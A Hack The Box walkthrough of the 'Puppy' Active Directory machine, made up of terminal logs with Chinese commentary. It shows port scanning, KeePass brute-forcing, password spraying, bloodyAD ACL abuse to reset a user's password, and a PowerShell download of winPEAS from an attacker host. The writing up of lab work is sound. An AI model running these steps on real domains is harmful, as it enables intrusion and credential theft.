┌──(root㉿kali)-[/myift/bachang/htb/8/1] └─# nmap -p- --min-rate 10000 -oN ports.txt 10.10.11.70 Nmap scan report for 10.10.11.70 Host is up (0.19s latency). Not shown: 65516 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 111/tcp open rpcbind 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 636/tcp open ldapssl 2049/tcp open nfs 3260/tcp open iscsi 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49674/tcp open unknown 49692/tcp open unknown 62521/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 20.52 seconds
┌──(root㉿kali)-[~] └─# nmap -sCV -p- --min-rate 10000 10.10.11.70 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-23 04:03 EDT Host is up (0.18s latency). Not shown: 65515 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-23 14:40:50Z) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 2,3 2049/udp nfs | 100005 1,2,3 2049/udp mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100024 1 2049/tcp status |_ 100024 1 2049/udp status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc Microsoft Windows RPC 62492/tcp open msrpc Microsoft Windows RPC 62521/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 144.86 seconds
[*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) The NETBIOS connection with the remote host timed out. The NETBIOS connection with the remote host timed out. [+] IP: 10.10.11.70:445 Name: 10.10.11.70 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share DEV NO ACCESS DEV-SHARE for PUPPY-DEVS IPC$ NO ACCESS Remote IPC NETLOGON READ ONLY Logon server share SYSVOL NO ACCESS Logon server share [*] Closed 1 connections
┌──(root㉿kali)-[/myift/bachang/htb/8/1] └─# crackmapexec smb 10.10.11.70 -u "levi.james" -p "KingofAkron2025\!" --users SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! SMB 10.10.11.70 445 DC [+] Enumerated domain user(s) SMB 10.10.11.70 445 DC PUPPY.HTB\steph.cooper_adm badpwdcount: 2 desc: SMB 10.10.11.70 445 DC PUPPY.HTB\steph.cooper badpwdcount: 5 desc: SMB 10.10.11.70 445 DC PUPPY.HTB\jamie.williams badpwdcount: 5 desc: SMB 10.10.11.70 445 DC PUPPY.HTB\adam.silver badpwdcount: 1 desc: SMB 10.10.11.70 445 DC PUPPY.HTB\ant.edwards badpwdcount: 0 desc: SMB 10.10.11.70 445 DC PUPPY.HTB\levi.james badpwdcount: 0 desc: SMB 10.10.11.70 445 DC PUPPY.HTB\krbtgt badpwdcount: 0 desc: Key Distribution Center Service Account SMB 10.10.11.70 445 DC PUPPY.HTB\Guest badpwdcount: 0 desc: Built-in account for guest access to the computer/domain SMB 10.10.11.70 445 DC PUPPY.HTB\Administrator badpwdcount: 0 desc: Built-in account for administering the computer/domain
Password for [WORKGROUP\levi.james]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Mar 21 01:33:44 2025 .. D 0 Wed Feb 19 06:46:56 2025
5080575 blocks of size 4096. 1632326 blocks available
[*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.10.11.70:445 Name: dc.puppy.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share DEV NO ACCESS DEV-SHARE for PUPPY-DEVS IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share [*] Closed 1 connections
INFO: Found AD domain: puppy.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: dc.puppy.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.puppy.htb INFO: Found 10 users INFO: Found 56 groups INFO: Found 3 gpos INFO: Found 3 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC.PUPPY.HTB ERROR: Unhandled exception in computer DC.PUPPY.HTB processing: The NETBIOS connection with the remote host timed out. INFO: Traceback (most recent call last):
Directories in use: home: /usr/share/neo4j config: /usr/share/neo4j/conf logs: /etc/neo4j/logs plugins: /usr/share/neo4j/plugins import: /usr/share/neo4j/import data: /etc/neo4j/data certificates: /usr/share/neo4j/certificates licenses: /usr/share/neo4j/licenses run: /var/lib/neo4j/run Starting Neo4j. 2025-07-23 12:31:04.563+0000 INFO Starting... 2025-07-23 12:31:05.319+0000 INFO This instance is ServerId{7f6c1dca} (7f6c1dca-059c-4e0b-b189-7ba241b8a56d) 2025-07-23 12:31:07.107+0000 INFO ======== Neo4j 4.4.26 ======== 2025-07-23 12:31:09.136+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT 2025-07-23 12:31:09.136+0000 INFO Updating the initial password in component 'security-users' 2025-07-23 12:31:09.445+0000 INFO Bolt enabled on localhost:7687. 2025-07-23 12:31:10.918+0000 INFO Remote interface available at http://localhost:7474/ 2025-07-23 12:31:10.925+0000 INFO id: 108D734EF023B8E7D0237E6A765BEE9A1E0C75B0D1C260D7A56C79C35E49FA81 2025-07-23 12:31:10.925+0000 INFO name: system 2025-07-23 12:31:10.925+0000 INFO creationDate: 2025-07-23T11:58:58.773Z 2025-07-23 12:31:10.925+0000 INFO Started.
┌──(root㉿kali)-[/myift/BloodHound-linux-x64] └─# ./BloodHound --no-sandbox (node:6869) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information (node:6933) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
[*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) The NETBIOS connection with the remote host timed out. [+] IP: 10.10.11.70:445 Name: dc.puppy.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share DEV READ ONLY DEV-SHARE for PUPPY-DEVS IPC$ NO ACCESS Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share [*] Closed 1 connections
Password for [WORKGROUP\levi.james]: Try "help" to get a list of possible commands. smb: \> dir . DR 0 Sun Mar 23 03:07:57 2025 .. D 0 Sat Mar 8 11:52:57 2025 KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025 Projects D 0 Sat Mar 8 11:53:36 2025 recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025
5080575 blocks of size 4096. 1643044 blocks available smb: \> get recovery.kdbx getting file \recovery.kdbx of size 2677 as recovery.kdbx (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec) smb: \>
文件是加密的我们爆破密码
Keepass2john变种 keepass4brute爆破.kdbx文件
┌──(root㉿kali)-[/myift/…/htb/8/1/1] └─# ./keepass4brute/keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt keepass4brute 1.3 by r3nt0n https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 65 - Estimated time remaining: 21 weeks, 6 days [+] Current attempt: liverpool
┌──(root㉿kali)-[/myift/…/htb/8/1/1] └─# crackmapexec smb 10.10.11.70 -u use.txt -p passwd.txt SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) SMB 10.10.11.70 445 DC [-] PUPPY.HTB\ANT.EDWARDS:HJKL2025! STATUS_LOGON_FAILURE SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ANT.EDWARDS:Antman2025!
得到ANT.EDWARDS:Antman2025!
上面我们就已经说过ANT.EDWARDS对adam有完全控制权限
我们直接去
获取ADAM用户
┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.10.11.70 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver [-] ['LOCKOUT', 'ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl //启动了 adam.silver ┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.10.11.70 set owner adam.silver ant.edwards [+] Old owner S-1-5-21-1487982659-1829050783-2281216199-512 is now replaced by ant.edwards on adam.silver //将adam.silver用户的“所有者”（Owner）属性，将其设置为 ant.edwards。
然后修改ant.edwards的密码
┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.10.11.70 set password adam.silver Adam@2025! Traceback (most recent call last): File "/root/.local/bin/bloodyAD", line 8, in <module> sys.exit(main()) ~~~~^^ File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 210, in main output = args.func(conn, **params) File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/set.py", line 273, in password raise e File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/set.py", line 118, in password conn.ldap.bloodymodify(target, {"unicodePwd": op_list}) ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 315, in bloodymodify raise err msldap.commons.exceptions.LDAPModifyException: Password can't be changed before -1 day, 6:27:48.198356 because of the minimum password age policy.
这个错误信息非常清晰地指出了问题所在：
msldap.commons.exceptions.LDAPModifyException: 这表示在执行 LDAP（轻量级目录访问协议）修改操作时发生了异常。bloodyAD 使用 LDAP 协议与 Active Directory 进行通信。
Password can't be changed before -1 day, 6:27:48.198356 because of the minimum password age policy.: 这是问题的关键。它说明：
“密码不能更改”：重置密码的操作被拒绝了。
“因为最小密码期限策略”：原因是 Active Directory 中存在一项安全策略，叫做**“最小密码期限”（Minimum Password Age）**。
┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# vim pwdlastsetChagne.py ┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# python3 pwdlastsetChagne.py ┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# cat pwdlastsetChagne.py import ldap3 server = ldap3.Server('10.10.11.70', port =389, use_ssl = False) connection = ldap3.Connection(server, 'CN=ANTHONY J. EDWARDS,DC=PUPPY,DC=HTB', 'Antman2025!', auto_bind=True) connection.bind() connection.extend.standard.who_am_i() # 保持这行代码，但移除后面的多余文本 connection.modify('CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB',{'pwdLastSet': [(ldap3.MODIFY_REPLACE, ['0'])]})
然后继续执行修改密码
┌──(root㉿kali)-[/myift/…/8/1/1/2] └─# bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.10.11.70 set password adam.silver Adam@2025! Traceback (most recent call last): File "/root/.local/bin/bloodyAD", line 8, in <module> sys.exit(main()) ~~~~^^ File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 210, in main output = args.func(conn, **params) File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/set.py", line 273, in password raise e File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/set.py", line 118, in password conn.ldap.bloodymodify(target, {"unicodePwd": op_list}) ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 315, in bloodymodify raise err msldap.commons.exceptions.LDAPModifyException: Password can't be changed. It may be because the oldpass provided is not valid. You can try to use another password change protocol such as smbpasswd, server error may be more explicit.
*Evil-WinRM* PS C:\Users\adam.silver> cd Desktop *Evil-WinRM* PS C:\Users\adam.silver\Desktop> dir
Directory: C:\Users\adam.silver\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/28/2025 12:31 PM 2312 Microsoft Edge.lnk -ar--- 7/25/2025 7:11 AM 34 user.txt
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt 2d8************************
发现一个Microsoft Edge浏览器的链接
Microsoft Edge 浏览器会将用户保存的密码、Cookies 等敏感信息加密存储在本地文件中（例如在 `C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data` 和 `Cookies` 文件中）。
这些文件中的数据就是由 DPAPI 加密的。
我们上传一个Winpeas扫一下
*Evil-WinRM* PS C:\Users\adam.silver\Documents> (New-Object Net.WebClient).DownloadFile('http://10.10.14.41:8888/winPEASx64.exe','C:\Users\adam.silver\desktop\winPEASx64.exe') *Evil-WinRM* PS C:\Users\adam.silver\Documents> cd C:\Users\adam.silver\desktop\ *Evil-WinRM* PS C:\Users\adam.silver\desktop> dir
Directory: C:\Users\adam.silver\desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/28/2025 12:31 PM 2312 Microsoft Edge.lnk -ar--- 7/25/2025 7:11 AM 34 user.txt -a---- 7/25/2025 9:21 AM 441344 winPEASx64.exe
*Evil-WinRM* PS C:\Users\adam.silver\desktop> ./winPEASx64.exe ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD Creating Dynamic lists, this could take a while, please wait... - Checking if domain... - Getting Win32_UserAccount info... Error while getting Win32_UserAccount info: System.Management.ManagementException: Access denied at System.Management.ThreadDispatch.Start() at System.Management.ManagementScope.Initialize() at System.Management.ManagementObjectSearcher.Initialize() at System.Management.ManagementObjectSearcher.Get() at b9.by() - Creating current user groups list... - Creating active users list... [X] Exception: System.NullReferenceException: Object reference not set to an instance of an object. at cc.a(Boolean A_0, Boolean A_1, Boolean A_2, Boolean A_3, Boolean A_4) - Creating disabled users list... [X] Exception: System.NullReferenceException: Object reference not set to an instance of an object. at cc.a(Boolean A_0, Boolean A_1, Boolean A_2, Boolean A_3, Boolean A_4) - Admin users list... [X] Exception: System.NullReferenceException: Object reference not set to an instance of an object. at cc.a(Boolean A_0, Boolean A_1, Boolean A_2, Boolean A_3, Boolean A_4)
ÉÍÍÍÍÍÍÍÍÍ͹ Searching hidden files or folders in C:\Users home (can be slow) C:\Users\adam.silver\Desktop\DFBE70A7E5CC19A398EBF1B96859CE5D C:\Users\Default User C:\Users\Default C:\Users\All Users C:\Users\Default C:\Users\All Users C:\Users\All Users\ntuser.pol
┌──(root㉿kali)-[/myift/bachang/htb/8/1] └─# evil-winrm -i dc.puppy.htb -u steph.cooper_adm -p FivethChipOnItsWay2025! Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> cd ..
*Evil-WinRM* PS C:\Users\steph.cooper_adm\desktop> cd .. *Evil-WinRM* PS C:\Users\steph.cooper_adm> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> dir
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/26/2025 7:07 AM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt d78af2**************************** *Evil-WinRM* PS C:\Users\Administrator\desktop>
